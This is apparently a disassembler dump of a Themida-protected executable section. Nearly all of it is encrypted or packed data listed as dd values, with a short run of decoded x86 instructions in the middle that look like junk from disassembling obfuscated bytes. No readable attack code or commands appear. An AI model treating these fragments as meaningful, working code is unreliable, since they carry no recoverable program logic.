5B0F460h, 797F44AFh, 0F2A0C207h dd 23C0035Fh, 0EA98C0DBh, 77F30094h, 0D140BC8h, 0CA6ADA4Eh dd 0E7432088h, 5989C76Ch, 0A0BD4728h, 1EFF3D18h, 1F00C4BEh dd 1DAC2AE0h, 12AEE681h, 0A45E9F6Fh, 3600E1F0h, 0D3E51231h dd 8B0920h, 0F9D452B5h, 0CAD964CDh, 20241CBBh, 1924E86h dd 0A2141F10h, 5048651Fh, 1E26C63Ch, 3E60A4E5h, 9C4982F8h dd 0F80FCB6Ch, 4F2CC057h, 0A14C9551h, 1852DC1Ch, 10AB740Dh dd 0B811B404h, 70C00A8h, 0DBFE2CE1h, 4CAB97F1h, 3CA32C91h dd 0E0D1A5D4h, 6428763Ch, 68E8EE8Bh, 0A1129CDCh, 408495D0h dd 0B84DF020h, 958C026h, 7FE37A0h, 0FDD0E607h, 6043947Ah dd 3B511780h, 3F88AE7h, 1569B9C9h, 54AEA8DBh, 0BE580133h dd 8E0AC266h, 2878FAD0h, 0FF3C4D12h, 304E4488h, 0A7D1F903h dd 1FFC3E08h, 3E28D63Ch, 40914B9Fh, 80125273h, 1C884442h dd 426F61A4h, 5C5C2F97h, 51E86B80h, 26611B7h, 0B50977D9h dd 0C530D13h, 222F2D09h, 566ED178h, 10AA6094h, 0B10138D0h dd 0DCF44EB8h, 0FC6C5A56h, 77332209h, 7098145Ah, 0C4A11F25h dd 0AB61267Ch, 30FE6118h, 8E033E6h, 7144A4Dh, 1378A41h dd 0F8D3986Eh, 38F035B8h, 6A029F7Eh, 4A859BB4h, 1C00E5F0h dd 506E2781h, 0EC4B3141h, 0F08A6F1Fh, 0D6096E38h, 22000F75h dd 5714D3E6h, 18B9F60Bh, 30C1A03Ch, 7D019AACh, 0FB377FD7h dd 0D1E01627h, 219B0794h, 0F04DAA0Ah, 0D6F4635Fh, 0D0E4F4A0h dd 0BDCFFE1Fh, 0BE015905h, 18174E4h, 0B7B818B5h, 40FF9557h dd 0CBD45B08h, 0FBEDA528h, 0F16EE712h, 67141000h, 0F354889h dd 65A618A4h, 69E571C0h, 97701D95h, 0E8F1D6ECh, 10CB1E79h dd 0B634C0DCh, 6F4038EFh, 10C087A7h, 0D0128D83h, 38096E19h dd 0B12C70DCh, 90C0138Ch, 0D4DE6188h, 74336E5Eh, 3880ED18h dd 17A53C01h, 1CE8BBBCh, 0DAE2010Ch, 3410E6FDh, 249125C0h dd 78D16413h, 0CD3CAE0h, 59FF4D71h, 4074C820h, 9E3D570Bh dd 81D42F51h, 0CC17BC5Ch, 0BD417989h, 9F5D1821h, 4A743748h dd 6C20FC29h, 9BCC8030h, 4CCD4C4Bh, 4414A048h, 6F180BEFh dd 9431643Dh, 9709B09h, 0AC71D249h, 0DE410824h, 1D3F0F32h dd 6580B004h, 0B4132D2Fh dd 4400BAE6h, 0E9F34535h, 49FE275Bh, 4D02840Fh, 2C72F4A8h dd 21E0BD03h, 0C2E2B758h, 550882A2h, 2D5C64DAh, 3440BE3Ch dd 0E6788765h, 9800364Ah, 4B8930AAh, 56AF180Dh, 3D540831h dd 0E44AF3F6h, 98000824h, 7DDE2AC3h, 0D89460DFh, 0C0444CB2h dd 0BB554D17h, 16C83426h, 0F2381E3Ch, 16257820h, 574C695Ch dd 0EAEC0F6Bh, 0A3F9C584h, 0B34A0094h, 0D0E8348Fh, 0F69400EEh dd 52790D86h, 267C5AB7h, 3CE57409h, 84D033h, 0E1F19E66h dd 18C4D648h, 26FC7101h, 0C6B47CBFh, 4EEFD024h, 0EE98CCC3h dd 0B80197Ch, 45BF0F0Ah, 536523F4h, 20288C5Fh, 0E26C9C01h dd 10EF4D3Eh, 68A4403Bh, 3C9B5F37h, 65B9FF8h, 446C4089h dd 28A06428h, 0EB81F27h, 0DF6D5B09h, 55C3032h, 7D4DFDACh dd 0F6171338h, 2E43449h, 5EE15CA0h, 0C431E98Ch, 8F7EC4Dh dd 7D236F17h, 0DD41D058h, 1E110063h, 0CCD7C5DFh, 0FD0BED93h dd 20147085h, 9759016Ch, 1EE0B011h, 5D937E5h, 1DB9AF6Fh dd 886490h, 82E8D0ABh, 280CDFF0h, 4077D3FEh, 2F433CAFh dd 0B7117F30h, 5F3C80F4h, 0B1A8252h, 985ACAEEh, 95F86FA0h dd 8C52600Fh, 80600F38h, 1C9CEEC8h, 77CA267Eh, 4B6260B0h dd 751CCCC8h, 5485E6B3h, 64C676D1h, 5080F39Eh, 8D6AB53Ah dd 3D0FAC4Dh, 8EA2E4B7h, 61AE8037h, 589E0F9Ah, 0D1C0D4B8h dd 0EEB66BB1h, 0B70B3E18h, 248DE8C8h, 2CE89AF0h, 33F60D34h dd 0FC2431A0h, 960424D4h, 0D6FDA76Dh, 2E779CF0h, 0C53C1257h dd 0D882864Dh, 0CF4C70B0h, 0A4E50BBCh, 6F2581FDh, 28846344h dd 0F0D13CC2h, 4F0B0CF8h, 60A93D42h, 488CBEBCh, 0EC05E4DDh dd 0AD7C4AD8h, 0C7C8130Ch, 3D44585Eh, 0F0E35AD6h, 96216F82h dd 6136458h, 0ACACB705h, 0C4775170h, 90D8AC14h, 745620CCh dd 40883C13h, 307810E2h, 38A8089Fh, 0D70C64DDh, 38CC5410h dd 0C9B0B8AEh, 0EC962929h, 20E0D527h, 0EB082CE0h, 0A3943C87h dd 0E653E61Fh, 429600E8h, 0EE140C40h, 84D3828h, 0D0A63202h dd 70293CEBh, 0E2F881B8h, 22A834h, 0B17B78D9h, 0D5B382D4h dd 0EC4EBB00h, 0B0FE361Dh, 4718B1BEh, 0EB02C263h, 32508F1h dd 88A88458h, 580D3D2Eh, 6503F0D3h, 153CA4FEh, 857E1113h dd 0E81B1C22h, 4EB205E0h, 0E648C30Fh, 94C9BBE8h, 810DAD38h dd 2610FAD9h, 0D7F55911h, 60CD884Ch, 44826009h, 8791427h dd 8D682F00h, 0A3FE25B4h, 88D4968Fh, 9400E699h, 0A5B980A6h dd 18492CAFh, 0AA2842A4h, 3960A854h, 20116853h, 880FF7Ch dd 9A257D30h, 0FDAC90B1h, 0A7B940C8h, 60B750CBh, 679DFEC8h dd 74A81850h, 8438BC32h, 0A132BAEEh, 182F8CA0h, 5C05931Eh dd 64E763EEh, 5E8300B8h, 97FF5765h, 38A3563Ch, 0D0AFBE26h dd 0F04D9D82h, 41207476h, 8FED574Eh, 0E27D2A10h, 0F17798A5h dd 8D0A80A4h, 7E952B38h, 9C80A200h, 1E4D56EEh, 0F47C80E4h dd 0DB655503h, 0E833C98Ah, 1DE08DE6h, 0D74B103Bh, 7B8881C4h dd 73F0C0FDh, 18749EF0h, 596F170Fh, 90F2126Eh, 922CA826h dd 0CD80C0CAh, 58A8B99Ah, 7C16AE6Eh, 0C0C8CB07h, 20204A16h dd 0B70EABD0h, 9832062Ch, 204E484Ch, 0BB12C2DBh, 0A8A23B60h dd 0C0E95B78h, 6F5FFE48h, 4E06C09Ch, 24304FF4h, 190970Ah dd 0C96C5385h, 8B15E53Ch, 51147D30h, 71DD8154h, 24DFB16Dh dd 0E4040E0h, 0AAEE0412h, 0C2A22E84h, 20F41C70h, 2CAF0A00h dd 0B1AB62h, 771D841Eh, 6F231B4Ah, 280CF59h, 0C7FF94CAh dd 0A2E8C1CBh, 0B11C082Ah, 0F4F4A5h, 0CA140538h, 0CC1FEDA4h dd 8125E9FBh, 0B6996F54h, 90E1B830h, 12C1874h, 2190E112h dd 175DCE80h, 0B15F55A2h, 29142010h, 0B227E601h, 0A4C9135Ch dd 1A9AAC70h, 0F112717Ch, 7232B878h, 0C15F8918h, 0F8429AE8h dd 940A87h, 0B9C70C4Ch, 209D426Fh, 0A65BD540h, 4C3877C2h dd 9B3FB885h, 0B0F30F81h, 664952EEh, 0BADA00FCh, 0AAB5EADCh dd 0FBB203FDh, 0A2D06511h, 0B894D94Fh, 592C2C82h, 92C2444h dd 4E411F9h, 0FE50A896h, 13EC9AABh, 283EB7Ch, 520ADA7Dh dd 8294B0E0h, 0D3F78D17h, 754EECE0h, 153307F1h, 0D0C04AF2h dd 53476F12h, 0B98B0C9h, 0C30957D8h, 1840CC2Bh, 24EDCC4Dh dd 38009424h, 5AAD80F2h, 1E659ABh, 0F99C906Ch, 30450D34h dd 90BAAAB4h, 35DCA03h, 0A2510A20h, 4C805D37h, 303CC088h dd 0C0273A4Bh, 5C1A6C83h, 0A16CCE9h, 3F70F56Fh, 7D026430h dd 0F14CB809h, 0E1C2B42Dh, 54E077D0h, 6305E634h, 57DC197Fh dd 0C22E808h, 0DAC0A314h, 0BC505902h, 56C0723Ch, 60DE0C0h dd 0B095A2D9h, 0A0935470h, 814E51B8h, 20287B1Eh, 0CA684543h dd 0DC3CE460h, 0D10A860h, 7E872E37h, 81540F7Ah, 69DF523h dd 40DEECFEh, 254E0739h, 2C185142h, 241E92E0h, 0DDC08010h dd 3A5B56D8h, 2E980Bh, 323CE574h, 3A0A10Fh, 7C2C2478h dd 9D742952h, 2B450015h, 910AA1ACh, 4B370216h, 278A7A00h dd 0EEDF394h, 7742E6B1h, 0D6F411C0h, 5E073B2Eh, 52182B37h dd 0B4809565h, 503D6556h, 95CA7462h, 64F0E842h, 98802C5Ah dd 344E0216h, 0A428490Ch, 0FE27321Ch, 0C6CC405Bh, 6BD41C3Ah dd 891392A3h, 5E6A58h, 5961048h, 0D120B8CCh, 10569030h dd 1A28DCD4h, 0E8C199FEh, 76670840h, 397A83h, 79B2863Ah dd 9438FE47h, 78343A95h, 194A07FCh, 0D011487Bh, 0BFF6D3E6h dd 65E36D00h, 5DCB7541h, 0DCF4074Dh, 65C0096Eh, 7342C061h dd 0AE167C55h, 0DB0065F8h, 66518D27h, 96C5026Fh, 206BB1A5h dd 81485C46h, 6FC81F58h, 0FC00B452h, 3762AE2Eh, 5A3F2FEh dd 9384C424h, 7220F74Ah, 0B308DA0Bh, 0EE4D80EDh, 0FABDE2C2h dd 0E43C24C7h, 2414A79Ch, 0E257313Dh, 722F1120h, 76FE1308h dd 0A650F4C3h, 4AF86041h, 5A3BFC16h, 39000AFh, 0F93CA906h dd 2E0D750h, 30EE453Ch, 7D0B1181h, 403D7966h, 8A2663D4h dd 0AF010913h, 0C699815Ch, 549721D1h, 17B888DEh, 0E29C1D48h dd 28C03262h, 1490F4DAh, 803E0838h, 94BA54B9h, 90B49A5h dd 8F6F0684h, 3F6EA0A3h, 356401C8h, 0A833FE10h, 3D45413h dd 0F82B36DCh, 43916DF3h, 7E77F142h, 840E1048h, 0A93B8A3Ch dd 0EB407BACh, 0EA437424h, 6390905Fh, 365C404Ch, 60E0D4B3h dd 8894F06Bh, 2870E580h, 5473426h, 33FDA9FAh, 89C8BC27h dd 3E2C540Ch, 26AF1F10h, 802FC71Dh, 0B3BA2578h, 123ECDAh dd 6218F4B7h, 0F15B5004h, 0BBF6F033h, 0B4D5C17h, 2D0F745Dh dd 0FEC740D3h, 4FCD7Ch, 76274EB3h, 721ADC77h, 0CEF0027Ch dd 194C6730h, 0E53BFB28h, 0D3308107h, 2C29813Eh, 0D66B7A65h dd 0F5BD8E4h, 0CC09D1CBh, 57F42780h, 863FF8C3h, 11498F34h dd 0C6A7637Dh, 2480078h, 0FAEA5C7Bh, 0D5303E98h, 75D460FCh dd 0F6FB1470h, 0F3381412h, 0F4AA929Bh, 1D6D17A0h, 945E18C3h dd 59409872h, 3EC0EF6Bh, 68226507h, 7F580941h, 0E6B0AC00h dd 630C2629h, 11C2B780h, 5AA206A0h, 0F9735BFBh, 7AC6A61Bh dd 94E0E779h, 1821A097h, 192A9C4Fh, 4B1FA67Fh, 9A415677h dd 0C6D4D35Ah, 4E9EA840h, 0BF100A4h, 1BB87D92h, 5761A7CEh dd 0D5EA1738h, 0D2374080h, 0D1AD0BF7h, 0D3F27404h, 0A000DE1Eh dd 1BF15A92h, 0AF850784h, 0F02DA705h, 18332BF5h, 0A0A817E4h dd 7905E052h, 0CD4EFB90h, 0C0D17800h, 15CC58C8h, 0ACFA0F3Eh dd 1DD6BF0Eh, 0D1D33881h, 1870BDCBh, 4F208D66h, 40EC6521h dd 0F0D037CAh, 0AA7D2FDFh dd 43FA9215h, 0FBF101B8h, 0E4C41791h, 2B329450h, 27D10009h dd 0F25F10EFh, 9F01FAABh, 460E8FB7h, 1180AC65h, 0F039F873h dd 0FD3017E0h, 3BFC4019h, 42181881h, 7933510Dh, 3C4FC8A8h dd 724D53Eh, 4AA8D458h, 0B000F3F5h, 0A6BFA12Dh, 9E911D8Fh dd 57934260h, 0D4A05250h, 0B2036A7Fh, 0F641F801h, 231C1863h dd 4565608Fh, 0ED20BB6Eh, 78D3AA17h, 0F288EF50h, 0DC636401h dd 656B4FC4h, 80A75003h, 0BED30A77h, 0C3289962h, 688B60A6h dd 124BF053h, 16A03Eh, 4228903Ch, 5A12C29Ch, 30099E40h dd 494C0648h, 6AEF24D0h, 0A76D0878h, 8001ED12h, 0C90A5F9Ch dd 11180880h, 0AC0275FDh, 0BD4F8828h, 0A32F88C0h, 3997BD0Ch dd 0CD00A657h, 17A13026h, 0D8C11B0Eh, 96DA4F2Bh, 9C23C3C1h dd 0A6D77704h, 17888833h, 20FA0C30h, 52F7D148h, 0FB12F8BCh dd 89842369h, 0C0F6A830h, 40FD0ED3h, 76484EFEh, 17E205D0h dd 1C63C6CFh, 3EE151F5h, 0C1E51080h, 8DCFD2D7h, 0E20029B8h dd 7AB9CAC5h, 40CB31h, 0AB590DF8h, 48FB4533h, 9939700h dd 0FFBDF704h, 0EC8D1E15h, 54E512D3h, 0F52440B0h, 64091890h dd 68CE8F53h, 4A37A173h, 70F0FBFDh, 356E47Ah, 0C6825E55h dd 2140105h, 706BB53h, 565BD62Ah, 0F003770Bh, 0BBA52D8Ch dd 0C79006C3h, 5CEA5DA0h, 822EC56Bh, 841D0CC8h, 0E3B7340Ch dd 0D0667EEh, 0EA238F8Ch, 296F9141h, 6F4B064Ch, 545C0C10h dd 824703BCh, 0E06A60FBh, 1868D4E5h, 358A16C0h, 285F5525h dd 1839C782h, 0A4E1F69h, 6E68F8EAh, 6700534Fh, 817CB252h dd 29EB1DECh, 47C45DCCh, 0EE8AFEAh, 26C6510Eh, 8A390CDFh dd 5ACB00F2h, 8CD1025Fh, 82251415h, 581437C5h, 20753C0h dd 0EA8860F9h, 0DD40E70h, 0FBEA9DC1h, 82528ADDh, 983D1EC3h dd 8416FFF6h, 340333C2h, 668322Eh, 0A208AB0Dh, 41421C51h dd 0E282D2F8h, 5F8AE897h, 0C2004A77h, 121C7EDEh, 0C0EFB6EAh dd 0B2BAB5C5h, 0E21F2966h, 9B8A5359h, 0F280A616h, 708E3930h dd 8DDCDF0Ah, 8589F75Dh, 2D9469DAh, 81BFB132h, 8CF40259h dd 31EA1484h, 69600186h, 31A06491h, 8948F190h, 6FEA7F5Bh dd 80665CEDh, 1FA32739h, 2EF9E69Bh, 9815A019h, 9E8251h dd 0C4695937h, 0BB2D5F54h, 5BD145A8h, 66091290h, 456201Bh dd 6902531Eh, 1BA567D6h, 0D880154h, 8A6627EAh, 0FCDCF718h dd 0F4C0851Ch, 5CD9312Ch, 4E901C1h, 0EEA0825h, 542A9D52h dd 0C9E028Ch, 0FA1D6B88h, 0BB10330Ch, 2457860Dh, 0CDF08E30h dd 0BAEAC0FCh, 68C14474h, 94FD86F4h, 43D6E28Bh, 0F4407FFEh dd 0D9323FAEh, 301CED34h, 0BF87BE90h, 2A46AA09h, 0EAB921E9h dd 0BB501343h, 18C7E882h, 0C484614h, 0CB07045Ah, 0DABA5247h dd 9C908AB9h, 4039D302h, 25FC8127h, 43CA6402h, 48FFEA24h dd 1EFC28Fh, 71F78208h, 0DB39BC3Bh, 8825F8C8h, 58E354Ch dd 7446EA5Fh, 11ABD54h, 695BD72Ah, 0B5987A0Bh, 6318A03Dh dd 0E8E55881h, 505DD040h, 820B0040h, 1A170FECh, 0D46FF825h dd 0A3C44004h, 145E2124h, 89DEBCEAh, 741D8C12h, 0A7D60CB3h dd 0EA150306h, 10F4142Ch, 307A4623h, 0D20A3B87h, 0C3043CEBh dd 0E1268510h, 809D3D91h, 0B9300315h, 7ED86B1Fh, 6207EC0Eh dd 0D9F8314Bh, 8053D122h, 0C61170A0h, 6AD9A016h, 2AB22634h dd 78EA0504h, 0C6834E93h, 5BFF56ECh, 848E584Ch, 1CD9060h dd 8C08C10h, 5FE84C3Ch, 3B33F611h, 48E49AECh, 7300BB0Eh dd 0EAE10940h, 0A1B972Dh, 2678CCC1h, 67900412h, 0C6EA35FAh dd 7FDE1ADFh, 5A0E6A0Dh, 6428E26h, 315BE64h, 0F709E8C2h dd 32800B30h, 4CE19A02h, 8A0327E6h, 9EA60FCh, 659AB10h dd 0E212CA9Eh, 9FD03DB2h, 0EBC21D93h, 8CD39F06h, 0E0AD654Fh dd 5564BFEEh, 0FD91560Eh, 95B041C0h, 6179F6CAh, 1DBF30F3h dd 31A1769h, 7E0D8AD7h, 0C25A41CEh, 9F8C3F61h, 0E4D654E4h dd 84DC220Ch, 69463BBBh, 0F3823300h, 4D084205h, 0CF01E3ECh dd 0EA32F00Dh, 24566388h, 116C31D8h, 0A6DB29CDh, 0FC97C48h dd 25B1A933h, 0C78051E3h, 1F0D8F7Eh, 403BD9C0h, 0C3F88219h dd 3555F36Fh, 40D8E1A6h, 0BEA4A0A2h, 68027E3Bh, 0EE19CC73h dd 1E605766h, 9841199Fh, 0E5C12E71h, 0BCD880C9h, 63DD48EEh dd 9A35F2EAh, 0B61993Fh, 2B222DD4h, 0A2AA8FC5h, 0E7656F96h dd 58E19334h, 0A68D08B9h, 405BBF0Eh, 18590392h, 2A5D15EAh dd 0BB0CF29h, 0ACEC9720h, 2E34661Bh, 0B72ACD32h, 2684D53Fh dd 946772F8h, 37625018h, 0B19EA87Fh, 1252F51Ah, 47024058h dd 0D15404B7h, 0C25CDB02h, 0C0003D73h, 1FBF9346h, 9FA32ABh dd 22311FE8h, 0F86710E5h, 468AA81Dh, 4992DAh, 5489EE82h dd 0DE026AEBh, 3340F1FCh, 0B655A0C4h, 8206805Eh, 3E3C691Ch dd 135F9CD6h, 0F54764D3h, 5502E41h, 18022251h, 408859C7h dd 88F7D45Dh, 3DEBED79h, 0DC8E649h, 56E2FF24h, 8ED898BEh dd 0CE2F824Eh, 4AF2F006h, 0C987C002h, 402ACEDBh, 0CADA8AC2h dd 0CFA15CB9h, 52EA1CFFh, 3106280Fh, 0D5C1DB0h, 7B0996D6h dd 0C0A4803Fh, 17B353h, 0B854DBF7h, 0F938EAB9h, 0B79E78D8h dd 1B6C2468h, 268222FCh, 68ED6F8h, 762B0AEDh, 0E5ACE24h dd 0EC560604h, 0C7EF7383h, 0AD34082Ah, 0A8865DC8h, 984D02D6h dd 595A1494h, 5D7E9584h, 51260D24h, 0C9D14FA3h, 0D755311Dh dd 2EC1B564h, 0FEA04EFh, 0A584F1B6h, 6927A209h, 442D8231h dd 2F144A40h, 430A2D87h, 44035962h, 5B7BFB6Dh, 7CE4E405h dd 0B6C06E32h, 76F13539h, 0DCA1F3Dh, 0C5FD808h, 0A22E47DCh dd 0C289CA06h, 17564402h, 13393CC8h, 251A040Ch, 0D82A022Dh dd 8CA8615Bh, 0B253F543h, 990951E3h, 81880C84h, 0D4325D94h dd 682553EAh, 2849D020h, 2E814509h, 42B14F0Dh, 0B7445A3Bh dd 5F4DDA63h, 0A39DAD8Ch, 39766A83h, 0CBE04E02h, 0C17977F3h dd 8E3C205h, 0FE0FBF57h, 3154F9F4h, 7463ED26h, 8A50E6CDh dd 6A0AEC3Fh, 0F0776171h, 0A8E5AB42h, 3D24B1A9h, 12F80A0Dh dd 3C5CDAD0h, 0D732F288h, 0AD8E4208h, 1ECA2D00h, 0D9699CEAh dd 0CBF8052Ah, 6445D227h, 7469DB61h, 1DAB49F6h, 0A262E402h dd 19FEA598h, 77704A81h, 8D5600AFh, 5ACC323Eh, 5C036054h dd 0B7805806h, 46F3A81Eh, 2130AFAh, 3A072EF9h, 0E67611D1h dd 4C23912h, 1DD816F4h, 0F70B1158h, 0B894CD1h, 0E40F813Bh dd 0D74DCFFFh, 17E3E704h, 0F5710650h, 0E76F5B73h, 6DB08A2Ah dd 345D320h, 342CF1CDh, 2E8569A0h, 53802999h, 0C176B151h dd 540503E1h, 66EA74B4h, 1B67D7FCh, 0FA9B88h, 1C34BAC2h dd 5024EA54h, 21A80F62h, 93AE155Ch, 0DF58CAE0h, 68C3C3CEh dd 0E7C3B42h, 0A0FB830h, 1EBDC681h, 0F8EA924Fh, 83166D30h dd 8FF004C4h, 3C873FC1h, 9ECB8B24h, 0A0C2FD5Ah, 0E068F192h dd 890EC05Fh, 30E92414h, 4CE49249h, 0B3813954h, 38303FFh dd 0E9D2F70Ch, 141DE0FAh, 0DECC465Bh, 1C810EE7h, 7FBBFCC5h dd 5DE80109h, 3C38DD08h, 875AD08Fh, 55004714h, 7B3826BDh dd 0F5038163h, 287C5299h, 0CD838F45h, 1AB78191h, 95335880h dd 1EE9A448h, 686EDF61h, 0BD8032C1h, 64B3241Ch, 0E9FCB050h dd 1ACF417Fh, 0D30CCF66h, 808F4701h, 0C6CC01EEh, 50E9308Eh dd 0C0D7F69Bh, 0F303EF3Eh, 50C5367h, 0E9BEF760h, 652C6327h dd 0C19B51D8h, 0BA01569Bh, 6EC2770Dh, 6DB3BE9h, 8044B424h dd 6C2082ECh, 80336635h dd 0DCF0631h, 2A81E65Ch, 2C7F57h, 605812BDh, 4E5C165h dd 9AA486A0h, 0A406402Ah, 2434FF1Dh, 48206806h, 98EB833Bh dd 6709E9E7h, 60211498h, 0A7C1815Dh, 0E8A25328h, 97FE4028h dd 8956590Fh, 0FABD26E6h, 7E06AC12h, 5E02850h, 0C0833F08h dd 55CD654h, 1DE9C331h, 3BC44EDh, 1A205A5Bh, 155621Dh dd 8BF02906h, 0AB57BA98h, 5E805F72h, 14C25081h, 68146087h dd 57CEE953h, 0EB246E92h, 111E932Dh, 162F5ACCh, 7F831CADh dd 840F0620h, 33A08997h, 3F353CFEh, 5927586Fh, 0FEA8F262h dd 414A1F40h, 0B17CDE2h, 671A8052h, 5308CE39h, 1E9302BBh dd 0BAE92951h, 0B8B88049h, 24247A9Dh, 0FD81611Bh, 5B28685Fh dd 0BB0F3C23h, 272C7CC7h, 0F68034A8h, 88511CD6h, 9FE9DF5h dd 2F0759EFh, 85CF744Ch, 0BF300D39h, 0F04C831Eh, 1EEC47E9h dd 0C3C77B9h, 0F1C7FB2Dh, 8A5D1001h, 8BC80163h, 0F3572321h dd 0EB9C2C64h, 744333E9h, 0C9F744AFh, 31581E25h, 97BA13h dd 0FD06E6C1h, 1F579DCCh, 0CD4E6DC4h, 11E7D89h, 35D6BC9h dd 37487E87h, 0EA6149D1h, 0C20029Eh, 3C407085h, 110F5A95h dd 0AD92917h, 5B1D08E9h, 0A530DC89h, 0EF01D33Ch, 57E37E7h dd 803318F4h, 8B28D031h, 66026F14h, 25E930FFh, 9C8588D4h dd 0AA38CF8Eh, 561EA1DFh, 0B22C70Eh, 0E91481F8h, 0E59F166Eh dd 67EB8FC3h, 906F9E44h, 0BF41B873h, 1DA2601h, 0D08958C2h dd 0A0599530h, 8069D877h, 449EC83h, 6683971h, 8B2F4C02h dd 98E91210h, 11865EE3h, 0E0CB412Ch, 11DD05F4h, 0E430C8F6h dd 89859B59h, 22805AD1h, 484F0FBBh, 48F77198h, 4141FFCEh dd 247B1B26h, 928D87EAh, 0CD436C1h, 51656DFCh, 0AE00C35Bh dd 509248F3h, 3C8D2468h, 7FE961D6h, 1BA8DD3h, 0D0549A74h dd 0E46283h, 6A0BD18h, 0EDC1270Ch, 946034Ch, 80E180D0h dd 5F6DC74Ch, 29351FA3h, 851B9EFh, 33565122h, 5C243D4Dh dd 56C8BE94h, 0F3195F01h, 40055830h, 7CB76806h, 4BC6B99h dd 3B4B1C80h, 4F56B781h, 15779633h, 851F8AE9h, 3E02C411h dd 0D9AB1A51h, 0A1B600C4h, 902DA856h, 3C27FFCh, 0E9FB0F08h dd 3D031BE7h, 0D409ACC7h, 720C0022h, 5D2DF96Eh, 7960F1E9h dd 0F45EF25h, 0C0D60A4h, 0A33326ADh, 5FF80113h, 262F9254h dd 79407D66h, 506F3C6Ch, 9808AF29h, 18C3A874h, 5362913h dd 6C293EBCh, 8214200Ch, 90CC2921h, 800175E6h, 663CD188h dd 95B6985Ah, 782BB12h, 134A833h, 53C6C2DDh, 4AC0D4Bh dd 52075A92h, 0BBB25954h, 2426980Bh, 23DCC5Dh, 6E341250h dd 58C33E44h, 44125281h, 0C90049F5h, 72766F52h, 330E50Eh dd 0D5F7E54Bh, 238DB90Fh, 0C0015170h, 0A3E508E9h, 0C1D8F8C6h dd 4C0760E8h, 1315497Fh, 1692BF80h, 0F29A891h, 58200171h dd 6E50685Ah, 6998F8A6h, 0C6B13448h, 17C101B9h, 33234568h dd 1BFEBA5Eh, 86CE6C1h, 0C802F38h, 7C0B03B8h, 3E5923E9h dd 1C471395h, 0C4688D20h, 0E932A805h, 401E9B3h, 1050311Fh dd 3C8B59F1h, 0BFB0CBA4h, 8E990270h, 0A1665C89h, 37BF68CFh dd 0C61A53B4h, 44430BDh, 7552A68h, 0BF57285Eh, 0AFAF20Eh dd 0F336E95Fh, 242326A1h, 742510D8h, 53574C6h, 65774DAh dd 0BBE9035Bh, 5048A58Bh, 86B41786h, 5A568152h, 0B2E15E09h dd 99D0421Eh, 0CD0D0CD5h, 52C3FDE3h, 0C212EC15h, 583DA4C0h dd 3521B8C1h, 0A03CB703h, 12FA5F8h, 5BDA010Eh, 0E02DAE20h dd 297B121Eh, 8A410D7h, 5F4CF648h, 6729EA1h, 2E0E8CB6h dd 52321362h, 8F5EA890h, 0A02A719Ah, 0E769A412h, 0EF96197Eh dd 0B14A66DAh, 71819EA0h, 0E1D931D3h, 613865DBh, 0A7A6016Dh dd 0B6D64C49h, 0F1887F1Fh, 201CD609h, 0CE5569C2h, 615EF420h dd 2EC6F03h, 0A4E2966h, 0C7D93026h, 5D981034h, 0FA9735E9h dd 44289471h, 163C4079h, 5F30C524h, 2C26852h, 0E935807Fh dd 8FAA364Dh, 0EEB35337h, 84559DB4h, 7D61E96Dh, 0C5835902h dd 88BB908Ah, 53124A1Bh, 21474E07h, 0E7EF8039h, 0E5DC0499h dd 6D83FF41h, 8B7F7763h, 515D6B00h, 0F85E9EB9h db 19h ; --------------------------------------------------------------------------- loc_4E6DBD: ; CODE XREF: Themida_:004E6DD3j pop eax shl dword ptr [ecx], 0Ch jmp near ptr 53BFAE08h ; --------------------------------------------------------------------------- dw 50FBh db 87h ; --------------------------------------------------------------------------- push ebp mov ebp, esp cwde or cl, [edx-16F9DEA7h] jle short loc_4E6DBD db 64h mov bh, 83h inc ebp cmp [edx+ebp*2+5A51A4B8h], ebx add [esi], cl push 19442F1Dh add esi, eax pop eax push es push ebx xor [edx-73h], al add dh, [esi] icebp aas jmp near ptr 0C7989C1Ah ; --------------------------------------------------------------------------- dd 0FB20F6C6h, 76667B15h, 61DAF2EAh, 0C4807EF9h, 0E5CCCC42h dd 53B25226h, 805AD40Fh, 0D0E928ECh, 643AD881h, 0CD904953h dd 0B6AEC8C0h, 1689A4FAh, 7295DEFh, 4BF4E91Eh, 32C8F7A8h dd 2D685807h, 59675451h, 28A6FE48h, 7C98205Eh, 0AFEE8003h dd 0DAB3B151h, 0A5A8503Ch, 4E6884A5h, 1B53A278h, 37E909E9h dd 535E505Ch, 0D1B0EF52h, 744BE9EDh, 2966E302h, 8040CCF0h dd 0FB257D86h, 0D3181339h, 515A4D30h, 2A129CFEh, 4E8C0387h dd 0C503B0C1h, 81510606h, 101872Eh, 3AF8C35Ch, 0E570DDCFh dd 304DD3AFh, 0A4E81D15h, 5285F1Ch, 58A3FB44h, 54C7131Eh dd 981B4B8Bh, 7B96CBFDh, 4AD89D2Ch, 0F304D29Bh, 7A2E10EAh dd 2DCE4491h, 0D50F45E2h, 0E6D8017Eh, 236F12Eh, 8016B753h dd 0DA4199CFh, 0EB639C5Ch, 488028Bh, 0DA8CD8EEh, 1487245Bh dd 0A8D268D7h, 0B4DD559Ah, 4B577224h, 3A2B0B54h, 5A1F74B8h dd 96E788h, 53288426h, 0EA4F3ABBh, 0DF296E03h, 21AE95Bh dd 2B03BA53h, 0EC04251h, 0E13B3E79h, 23E20335h, 6775461h dd 0A4E94AF6h, 5E3B5A42h, 6B0A9257h, 40C91A44h, 280C9761h dd 0DAC8DB87h, 0E8165050h, 2FBD0FB8h, 73660AA6h, 0F300AF84h dd 9BF1EE9Ch, 0C35BDE29h, 0EB82E9E9h, 0C9313824h, 53A6F71Fh dd 0B0551604h, 0F6715887h, 0B7C8EAA9h, 5EF72E89h, 0B42252h dd 3054B050h, 620458C1h, 2CC8281Dh, 27D15914h, 22629815h dd 0CF8BC170h, 80D60F79h, 1C8EF70Ch, 1229B169h, 0C301E9F9h dd 1C004FE3h, 5A9F6EBEh, 0A59CA05h, 51E9377Ch, 0D0308AC0h dd 771413D7h, 0FC3C0DDh, 0D1B8C0B6h, 8559958Ah, 114CA928h dd 7A87D3BAh, 2F01C64h, 5816413Fh, 4824589Ah, 0E9125B91h dd 68083B53h, 915D1330h, 22801A3h, 5C7AC959h, 0E403375h dd 1D0C7A18h, 661CE91Eh, 70CC40FFh, 1282442h, 0A422ABF0h dd 0B7B80509h, 8273AF69h, 0E19122DDh, 169646Dh, 2D32DD48h dd 5127077Bh, 22B95977h, 4A4BFD3Dh, 0A43E4CE9h, 5594CB17h dd 252AD700h, 0F2A04B3Dh, 610043CEh, 0EEC14CD6h, 0BA9CE902h dd 25547619h, 0C6A21E7Fh, 5C2D23BEh, 374EDB2h, 433C3500h dd 48273D29h, 